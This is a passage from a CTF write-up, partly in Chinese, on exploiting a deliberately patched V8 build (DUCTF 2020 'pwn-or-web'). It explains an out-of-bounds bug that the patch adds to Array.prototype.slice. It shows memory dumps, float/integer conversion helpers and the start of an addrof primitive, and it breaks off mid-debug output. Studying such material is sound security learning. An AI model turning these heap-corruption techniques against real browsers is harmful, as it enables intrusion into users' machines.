ductf2020 pwn-or-web v8

题目信息

Author: Faith

Why do some people think browser exploitation == web?

Once you get code execution, you can execute /chal/flagprinter to get the flag. No need to get a shell.

V8 commit: 47054c840e26394dea0e36df47884202a15dd16d V8 version: 8.7.9 nc chal.duc.tf 30004

Challenge files: https://storage.googleapis.com/files.duc.tf/uploads/pwn/is-this-pwn-or-web/challenge.tar.gz (sha256: e1c70edde66932ca3ee9285fe37c04254ae5a0e00b265c68fe93440bbe3256e8)

patch

src/builtins/array-slice.tq中

-        return ExtractFastJSArray(context, a, start, count);
+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;

当start指定为0时，这里把数组的长度增加了2，导致我们可以读写array elements后两个元素的值。

利用

JSArray结构

对于这样一个array

a = [1.1, 2.2, 3.3, 4.4]

在slice之后

d8> b = a.slice(0)
[1.1, 2.2, 3.3, 4.4, , ]
d8> b.length
6
d8> b[4]
4.768128617178215e-270
d8> b[5]
2.5530533391e-313

a = [1.1, 2.2, 3.3];

DebugPrint: 0xe3b08085aa9: [JSArray]
 - map: 0x0e3b082438fd  [FastProperties]
 - prototype: 0x0e3b0820a555 
 - elements: 0x0e3b08085a89  [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x0e3b080426dd  {
    0xe3b08044649: [String] in ReadOnlySpace: #length: 0x0e3b08182159  (const accessor descriptor)
 }
 - elements: 0x0e3b08085a89  {
           0: 1.1
           1: 2.2
           2: 3.3
 }

查看elements

pwndbg> x/10gx 0x0e3b08085a89-1
0xe3b08085a88:  0x0000000608042a31  0x3ff199999999999a （1.1）
0xe3b08085a98:  0x400199999999999a（2.2） 0x400a666666666666 （3.3）
0xe3b08085aa8:  0x080426dd082438fd （map ptr）    0x0000000608085a89   (element ptr)
0xe3b08085ab8:  0x00000006080424a5  0x08085af908085acd
0xe3b08085ac8:  0x0824579d08085b25  0x080426dd080426dd

pwndbg> x/10gf 0x0e3b08085a89-1
0xe3b08085a88:  1.2798421967007003e-313 1.1000000000000001
0xe3b08085a98:  2.2000000000000002  3.2999999999999998
0xe3b08085aa8:  4.7681286171782151e-270 1.2798557597908099e-313

                  +-------------+-------------+
   0x0e3b08085a88 |             |             |
          +------>|             |   1.1       |
          |       +---------------------------+
          |       |             |             |
          |       |    2.2      |   3.3       |
          |       +---------------------------+
          |       |             |  float_arr  |  0xe3b08085aa8
          |       |    4.4      |     map     |  JSArray start
          |       +---------------------------+
          |       | elements    |             |
          +-------+   ptr       |             |
                  +-------------+-------------+

元素的实际数值放置于element_ptr+0x8的地方

可控多出来的两个元素，分别为float_arr map和element ptr

浮点数与整数的转换

Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) == float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) == BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

addrof

修改float_arr的elements指针到obj_arr的 elements指针，这样通过把obj放到obj_arr，再从float_arr读取数据就能拿到obj的地址。

                 obj_arr                       float_arr
         +----------+---------+            +-----------+---------+
         |  map     | elems   |            | map       |elems    |
         |          |         |            |           |         |
         +----------+-----+---+            +-----------+-----+---+
                          |                                  |
                          +-----+----------------------------+
                                |
                                v
                          +--------------+
                          | obj ptr1     |+--->  {A:1.1}
                          +--------------+
                          | obj ptr2     |+--->  {B:2.2}
                          +--------------+
                          |  ...         |
                          |              |
                          |              |
                          |              |
                          +--------------+

泄露map ptr和 element ptr

a = [1.1, 2.2, 3.3];
b = [{A:1}, {B:2}, {C:3}];

float_arr = a.slice(0);
obj_arr = b.slice(0);

float_map = float_arr[3];
float_elems = float_arr[4];

调试可知obj_map,obj_elems 与float_map，float_elems 的偏移。

float_arr :

DebugPrint: 0x25b008085b59: [JSArray]
 - map: 0x25b0082438fd  [FastProperties]
...
 - elements: 0x25b008085b39  {
           0: 1.1
           1: 2.2
           2: 3.3
 }


obj_arr :

DebugPrint: 0x25b008085b7d: [JSArray]
 - map: 0x25b00824394d  [FastProperties]
...
 - elements: 0x25b008085b69  {
           0: 0x25b008085aa5